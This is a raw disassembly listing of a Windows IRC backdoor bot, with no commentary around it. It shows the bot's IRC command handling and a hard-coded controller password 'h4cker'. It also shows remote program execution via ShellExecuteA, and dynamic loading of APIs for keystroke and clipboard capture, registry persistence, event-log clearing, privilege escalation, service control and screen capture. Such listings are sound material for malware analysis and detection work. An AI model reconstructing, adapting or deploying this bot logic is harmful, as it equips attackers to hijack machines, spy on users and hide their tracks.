		jmp	loc_406C8C
; ---------------------------------------------------------------------------


loc_409374:				; CODE XREF: sub_401B66+7802j
		push	offset unk_42AF10
		jmp	loc_406C8C
; ---------------------------------------------------------------------------


loc_40937E:				; CODE XREF: sub_401B66+3E68j
					; sub_401B66+3E7Dj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4CDCA4	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D0], eax
		jz	short loc_4093C1
		push	2
		lea	eax, [ebp+var_2D0]
		push	4
		push	eax
		call	dword_4CDC1C	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_4093DC
		push	dword ptr [eax]


loc_4093AA:				; CODE XREF: sub_401B66+7874j
		push	esi
		lea	eax, [ebp+var_2C0]
		push	offset unk_42AEF0
		push	eax
		call	sub_41C056
		jmp	loc_4092E7
; ---------------------------------------------------------------------------


loc_4093C1:				; CODE XREF: sub_401B66+782Bj
		push	esi
		call	dword_4CDCE8	; gethostbyname
		cmp	eax, ebx
		jz	short loc_4093DC
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CDCF0	; inet_ntoa
		push	eax
		jmp	short loc_4093AA
; ---------------------------------------------------------------------------


loc_4093DC:				; CODE XREF: sub_401B66+7840j
					; sub_401B66+7864j
		push	offset unk_42AEC8
		jmp	loc_40621B
; ---------------------------------------------------------------------------


loc_4093E6:				; CODE XREF: sub_401B66+3E3Ej
					; sub_401B66+3E53j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_41BDC0
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C0]
		push	offset unk_42AEA0
		push	eax
		call	sub_41C056
		add	esp, 18h
		jmp	loc_406EC5
; ---------------------------------------------------------------------------


loc_40940F:				; CODE XREF: sub_401B66+3E14j
					; sub_401B66+3E29j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CDBD0	; ShellExecuteA
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_409433
		push	offset unk_42AE80
		jmp	loc_406C8C
; ---------------------------------------------------------------------------


loc_409433:				; CODE XREF: sub_401B66+78C1j
		push	offset unk_42AE5C
		jmp	loc_406C8C
; ---------------------------------------------------------------------------


loc_40943D:				; CODE XREF: sub_401B66+3DEAj
					; sub_401B66+3DFFj
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_42A090, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_42AE34
		jmp	loc_405F5E
; ---------------------------------------------------------------------------


loc_409456:				; CODE XREF: sub_401B66+3DC0j
					; sub_401B66+3DD5j
		push	[ebp+arg_10]
		call	sub_41BF49
		test	eax, eax
		pop	ecx
		jle	loc_40976F
		push	[ebp+arg_10]
		call	sub_41BF49
		cmp	eax, 400h
		pop	ecx
		jge	loc_40976F
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AF23
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42CB14
		push	eax
		call	sub_41C056
		add	esp, 1Ch
		jmp	loc_4088DA
; ---------------------------------------------------------------------------


loc_4094A5:				; CODE XREF: sub_401B66+3D96j
					; sub_401B66+3DABj
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41BF49
		test	eax, eax
		pop	ecx
		jle	loc_401F9E
		push	esi
		call	sub_41BF49
		cmp	eax, 400h
		pop	ecx
		jge	loc_401F9E
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_41BF49
		imul	eax, 234h
		pop	ecx
		push	dword_440BA4[eax]
		call	sub_40993C
		pop	ecx
		pop	ecx
		push	1F4h
		call	dword_428064	; Sleep
		push	esi
		call	sub_41BF49
		imul	eax, 234h
		pop	ecx
		push	dword_440BA4[eax]
		call	dword_4CDCFC	; closesocket
		push	[ebp+var_10]
		push	esi
		call	sub_41BF49
		imul	eax, 234h
		pop	ecx
		push	dword_440BAC[eax]
		call	dword_4280AC	; TerminateThread
		push	esi
		call	sub_41BF49
		imul	eax, 234h
		push	esi
		mov	dword_440BAC[eax], ebx
		call	sub_41BF49
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_440998[eax], bl
		jmp	loc_401F9E
; ---------------------------------------------------------------------------


loc_409553:				; CODE XREF: sub_401B66+3D6Cj
					; sub_401B66+3D81j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409584
		call	sub_40B150
		cmp	eax, ebx
		jle	short loc_40957A
		push	eax
		push	offset unk_42AE08
		jmp	loc_4072D7
; ---------------------------------------------------------------------------


loc_40957A:				; CODE XREF: sub_401B66+7A07j
		push	offset unk_42ADE0
		jmp	loc_403FB5
; ---------------------------------------------------------------------------


loc_409584:				; CODE XREF: sub_401B66+79FEj
		mov	eax, [ebp+var_A4]
		lea	esi, [eax+1]
		jmp	short loc_4095FB
; ---------------------------------------------------------------------------


loc_40958F:				; CODE XREF: sub_401B66+7A98j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401F9E
		push	edi
		call	sub_41BF49
		push	eax
		call	sub_40B0C8
		pop	ecx
		pop	ecx
		test	eax, eax
		push	edi
		lea	eax, [ebp+var_2C0]
		jz	short loc_4095BE
		push	offset unk_42ADBC
		jmp	short loc_4095C3
; ---------------------------------------------------------------------------


loc_4095BE:				; CODE XREF: sub_401B66+7A4Fj
		push	offset unk_42AD90


loc_4095C3:				; CODE XREF: sub_401B66+7A56j
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4095ED
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		add	esp, 14h


loc_4095ED:				; CODE XREF: sub_401B66+7A69j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4157A5
		pop	ecx
		inc	esi


loc_4095FB:				; CODE XREF: sub_401B66+7A27j
		cmp	esi, 20h
		jb	short loc_40958F
		jmp	loc_401F9E
; ---------------------------------------------------------------------------


loc_409605:				; CODE XREF: sub_401B66+3D42j
					; sub_401B66+3D57j
		cmp	[ebp+var_C], ebx
		jz	loc_40976F
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41C0D0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40976F
		push	esi
		push	offset dword_42B53C
		push	[ebp+arg_4]
		call	sub_40993C
		push	esi
		push	offset dword_42AD74
		jmp	loc_408ABB
; ---------------------------------------------------------------------------


loc_40963E:				; CODE XREF: sub_401B66+3D18j
					; sub_401B66+3D2Dj
		push	[ebp+arg_10]
		push	offset dword_42B4A0
		push	[ebp+arg_4]
		call	sub_40993C
		push	[ebp+arg_10]
		push	offset unk_42AD50
		jmp	loc_408ABB
; ---------------------------------------------------------------------------


loc_40965B:				; CODE XREF: sub_401B66+3CEEj
					; sub_401B66+3D03j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40993C
		push	[ebp+arg_10]
		push	offset unk_42AD2C
		jmp	loc_40898E
; ---------------------------------------------------------------------------


loc_40967F:				; CODE XREF: sub_401B66+3CC4j
					; sub_401B66+3CD9j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40993C
		push	[ebp+arg_10]
		push	offset unk_42AD08
		jmp	loc_408ABB
; ---------------------------------------------------------------------------


loc_40969C:				; CODE XREF: sub_401B66+312Fj
					; sub_401B66+3144j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40993C
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C0]
		push	offset unk_42ACE4
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4157A5
		push	[ebp+arg_10]
		call	sub_41BF49
		add	esp, 1Ch


loc_4096D4:				; CODE XREF: sub_401B66+7BBAj
		push	eax
		call	dword_428064	; Sleep


loc_4096DB:				; CODE XREF: sub_401B66+2A49j
		xor	eax, eax
		jmp	loc_401FA1
; ---------------------------------------------------------------------------


loc_4096E2:				; CODE XREF: sub_401B66+3105j
					; sub_401B66+311Aj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40993C
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C0]
		push	offset unk_42ACBC
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4157A5
		push	[ebp+arg_10]
		call	sub_41BF49
		add	esp, 1Ch
		imul	eax, 3E8h
		jmp	short loc_4096D4
; ---------------------------------------------------------------------------


loc_409722:				; CODE XREF: sub_401B66+E21j
					; sub_401B66+E36j
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8EC], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_334]
		push	dword_42A098
		push	eax
		call	sub_40AF23
		lea	eax, [ebp+var_334]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40993C
		lea	eax, [ebp+var_334]
		push	eax
		push	offset unk_42AC98
		call	sub_415819


loc_40976C:				; CODE XREF: sub_401B66+51C0j
		add	esp, 24h


loc_40976F:				; CODE XREF: sub_401B66+5CEj
					; sub_401B66+5DAj ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401FA1
; ---------------------------------------------------------------------------


loc_409777:				; CODE XREF: sub_401B66+A19j
					; sub_401B66+A2Ej
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401F9E
		cmp	[ebp+var_A8], ebx
		jnz	loc_401F9E
		push	offset asc_42E0C4 ; "!"
		push	[ebp+var_90]
		call	sub_41C8C4
		mov	esi, eax
		push	offset word_4CDB1C
		push	ebx
		inc	esi
		call	sub_41C8C4
		push	offset asc_42AC94 ; "~"
		push	eax
		call	sub_41C8C4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aH4cker	; "h4cker"
		call	sub_41C840
		add	esp, 20h
		test	eax, eax
		jz	short loc_40981F
		lea	eax, [ebp+var_C0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40993C
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_40993C
		push	edi
		push	esi
		push	offset unk_42AC14


loc_40980B:				; CODE XREF: sub_401B66+7D12j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41C056
		add	esp, 30h
		jmp	loc_402418
; ---------------------------------------------------------------------------


loc_40981F:				; CODE XREF: sub_401B66+7C6Cj
		mov	[ebp+arg_24], ebx


loc_409822:				; CODE XREF: sub_401B66+7CD9j
		mov	eax, [ebp+arg_24]
		push	edi
		push	off_42A170[eax]
		call	sub_40B2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40987A
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], 4
		jb	short loc_409822
		lea	eax, [ebp+var_C0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40993C
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_40993C
		push	edi
		push	esi
		push	offset unk_42ABC0
		jmp	short loc_40980B
; ---------------------------------------------------------------------------


loc_40987A:				; CODE XREF: sub_401B66+7CCFj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40987F:				; CODE XREF: sub_401B66+7D3Aj
		cmp	[edi], bl
		jnz	short loc_409896
		push	[ebp+arg_10]
		push	offset aH4cker	; "h4cker"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4098A7


loc_409896:				; CODE XREF: sub_401B66+7D1Bj
		inc	esi
		add	edi, 80h
		cmp	esi, 1
		jl	short loc_40987F
		jmp	loc_401F9E
; ---------------------------------------------------------------------------


loc_4098A7:				; CODE XREF: sub_401B66+7D2Ej
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E2C]
		push	7Fh
		push	eax
		push	esi
		call	sub_41BDC0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4098DE
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42ABA0
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		add	esp, 14h


loc_4098DE:				; CODE XREF: sub_401B66+7D5Cj
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset unk_42AB80


loc_4098EA:				; CODE XREF: sub_401B66+529j
					; sub_401B66+2825j ...
		call	sub_415819


loc_4098EF:				; CODE XREF: sub_401B66+1B08j
		pop	ecx


loc_4098F0:				; CODE XREF: sub_401B66+248Aj
		pop	ecx
		jmp	loc_401F9E
; ---------------------------------------------------------------------------


loc_4098F6:				; CODE XREF: sub_401B66+200j
					; sub_401B66+215j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_40993C
		push	offset aI_3	; "+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40993C
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40993C
		add	esp, 2Ch
		mov	dword_4CDB14, edi
		jmp	loc_401DF5
sub_401B66	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40993C	proc near		; CODE XREF: sub_4019F7+30p
					; sub_401B66+1BDp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C960
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDCB4	; send
		leave
		retn
sub_40993C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409982	proc near		; CODE XREF: sub_401B66+496p
					; sub_401B66+12C2p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_40999D
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_40999D:				; CODE XREF: sub_409982+14j
		push	edi
		call	sub_41B7B0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41B7B0
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS_2	; "%s"
		push	esi
		push	eax
		call	sub_41C150
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41C056
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDCB4	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409A1B
		push	7D0h
		call	dword_428064	; Sleep

locret_409A1B:				; CODE XREF: sub_409982+8Cj
		leave
		retn
sub_409982	endp


; =============== S U B	R O U T	I N E =======================================



sub_409A1D	proc near		; CODE XREF: sub_401252+4Bp
		push	ebx
		push	ebp
		mov	ebp, dword_42809C
		push	esi
		push	edi
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, dword_4280BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409B3D
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CDD10, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CDC84, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CDC68, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CDB78, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CDB24, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CDB54, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CDBCC, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CDCC4, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CDD1C, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CDB84, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDD10, ebx
		mov	dword_4CDB6C, eax
		jz	short loc_409B1B
		cmp	dword_4CDC84, ebx
		jz	short loc_409B1B
		cmp	dword_4CDC68, ebx
		jz	short loc_409B1B
		cmp	dword_4CDB78, ebx
		jz	short loc_409B1B
		cmp	dword_4CDB54, ebx
		jz	short loc_409B1B
		cmp	dword_4CDBCC, ebx
		jz	short loc_409B1B
		cmp	dword_4CDCC4, ebx
		jz	short loc_409B1B
		cmp	dword_4CDD1C, ebx
		jz	short loc_409B1B
		cmp	dword_4CDB84, ebx
		jz	short loc_409B1B
		cmp	eax, ebx
		jnz	short loc_409B25


loc_409B1B:				; CODE XREF: sub_409A1D+B8j
					; sub_409A1D+C0j ...
		mov	dword_4CDD20, 1


loc_409B25:				; CODE XREF: sub_409A1D+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4CDC9C, eax
		jz	short loc_409B52
		push	1
		push	ebx
		call	eax
		jmp	short loc_409B52
; ---------------------------------------------------------------------------


loc_409B3D:				; CODE XREF: sub_409A1D+1Dj
		call	dword_42808C	; RtlGetLastWin32Error
		mov	dword_4CDD24, eax
		mov	dword_4CDD20, 1


loc_409B52:				; CODE XREF: sub_409A1D+117j
					; sub_409A1D+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4280B8	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409C67
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CDCC0, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CDC70, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CDC04, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CDD14, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CDC34, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CDC54, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CDCB8, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDCC0, ebx
		mov	dword_4CDBA4, eax
		jz	short loc_409C0B
		cmp	dword_4CDC70, ebx
		jz	short loc_409C0B
		cmp	dword_4CDC04, ebx
		jz	short loc_409C0B
		cmp	dword_4CDD14, ebx
		jz	short loc_409C0B
		cmp	dword_4CDC34, ebx
		jz	short loc_409C0B
		cmp	dword_4CDC54, ebx
		jz	short loc_409C0B
		cmp	dword_4CDCB8, ebx
		jz	short loc_409C0B
		cmp	eax, ebx
		jnz	short loc_409C15


loc_409C0B:				; CODE XREF: sub_409A1D+1B8j
					; sub_409A1D+1C0j ...
		mov	dword_4CDD28, 1


loc_409C15:				; CODE XREF: sub_409A1D+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CDC30, eax
		call	esi	; GetProcAddress
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CDB38, eax
		call	esi	; GetProcAddress
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CDC00, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDC30, ebx
		mov	dword_4CDBE8, eax
		jz	short loc_409C72
		cmp	dword_4CDB38, ebx
		jz	short loc_409C72
		cmp	dword_4CDC00, ebx
		jz	short loc_409C72
		cmp	eax, ebx
		jnz	short loc_409C7C
		jmp	short loc_409C72
; ---------------------------------------------------------------------------


loc_409C67:				; CODE XREF: sub_409A1D+144j
		call	dword_42808C	; RtlGetLastWin32Error
		mov	dword_4CDD2C, eax


loc_409C72:				; CODE XREF: sub_409A1D+232j
					; sub_409A1D+23Aj ...
		mov	dword_4CDD28, 1


loc_409C7C:				; CODE XREF: sub_409A1D+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409E35
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CDCD4, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CDC18, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CDC88, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CDB64, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CDBC8, eax
		call	esi	; GetProcAddress
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CDC40, eax
		call	esi	; GetProcAddress
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CDBE4, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDCD4, ebx
		mov	dword_4CDBF4, eax
		jz	short loc_409D25
		cmp	dword_4CDC18, ebx
		jz	short loc_409D25
		cmp	dword_4CDC88, ebx
		jz	short loc_409D25
		cmp	dword_4CDB64, ebx
		jz	short loc_409D25
		cmp	dword_4CDBC8, ebx
		jz	short loc_409D25
		cmp	dword_4CDC40, ebx
		jnz	short loc_409D2F


loc_409D25:				; CODE XREF: sub_409A1D+2DEj
					; sub_409A1D+2E6j ...
		mov	dword_4CDD30, 1


loc_409D2F:				; CODE XREF: sub_409A1D+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CDC48, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CDC20, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDC48, ebx
		mov	dword_4CDCD0, eax
		jz	short loc_409D6A
		cmp	dword_4CDC20, ebx
		jz	short loc_409D6A
		cmp	eax, ebx
		jnz	short loc_409D74


loc_409D6A:				; CODE XREF: sub_409A1D+33Fj
					; sub_409A1D+347j
		mov	dword_4CDD30, 1


loc_409D74:				; CODE XREF: sub_409A1D+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CDC58, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CDB40, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CDB48, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CDBAC, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CDBB0, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CDB5C, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CDC24, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDC58, ebx
		mov	dword_4CDB4C, eax
		jz	short loc_409E18
		cmp	dword_4CDB40, ebx
		jz	short loc_409E18
		cmp	dword_4CDB48, ebx
		jz	short loc_409E18
		cmp	dword_4CDBAC, ebx
		jz	short loc_409E18
		cmp	dword_4CDBB0, ebx
		jz	short loc_409E18
		cmp	dword_4CDB5C, ebx
		jz	short loc_409E18
		cmp	dword_4CDC24, ebx
		jz	short loc_409E18
		cmp	eax, ebx
		jnz	short loc_409E22


loc_409E18:				; CODE XREF: sub_409A1D+3C5j
					; sub_409A1D+3CDj ...
		mov	dword_4CDD30, 1


loc_409E22:				; CODE XREF: sub_409A1D+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4CDB44, eax
		jnz	short loc_409E4A
		jmp	short loc_409E40
; ---------------------------------------------------------------------------


loc_409E35:				; CODE XREF: sub_409A1D+26Aj
		call	dword_42808C	; RtlGetLastWin32Error
		mov	dword_4CDD34, eax


loc_409E40:				; CODE XREF: sub_409A1D+416j
		mov	dword_4CDD30, 1


loc_409E4A:				; CODE XREF: sub_409A1D+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F16
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CDC50, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CDCA8, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CDCB0, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CDC6C, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CDB88, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CDB34, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CDCAC, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CDB20, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDC50, ebx
		mov	dword_4CDBC0, eax
		jz	short loc_409F21
		cmp	dword_4CDCA8, ebx
		jz	short loc_409F21
		cmp	dword_4CDCB0, ebx
		jz	short loc_409F21
		cmp	dword_4CDC6C, ebx
		jz	short loc_409F21
		cmp	dword_4CDB88, ebx
		jz	short loc_409F21
		cmp	dword_4CDB34, ebx
		jz	short loc_409F21
		cmp	dword_4CDCAC, ebx
		jz	short loc_409F21
		cmp	dword_4CDB20, ebx
		jz	short loc_409F21
		cmp	eax, ebx
		jnz	short loc_409F2B
		jmp	short loc_409F21
; ---------------------------------------------------------------------------


loc_409F16:				; CODE XREF: sub_409A1D+438j
		call	dword_42808C	; RtlGetLastWin32Error
		mov	dword_4CDD3C, eax


loc_409F21:				; CODE XREF: sub_409A1D+4B9j
					; sub_409A1D+4C1j ...
		mov	dword_4CDD38, 1


loc_409F2B:				; CODE XREF: sub_409A1D+4F5j
		mov	ebp, dword_4280B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A1E7
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CDBD4, eax
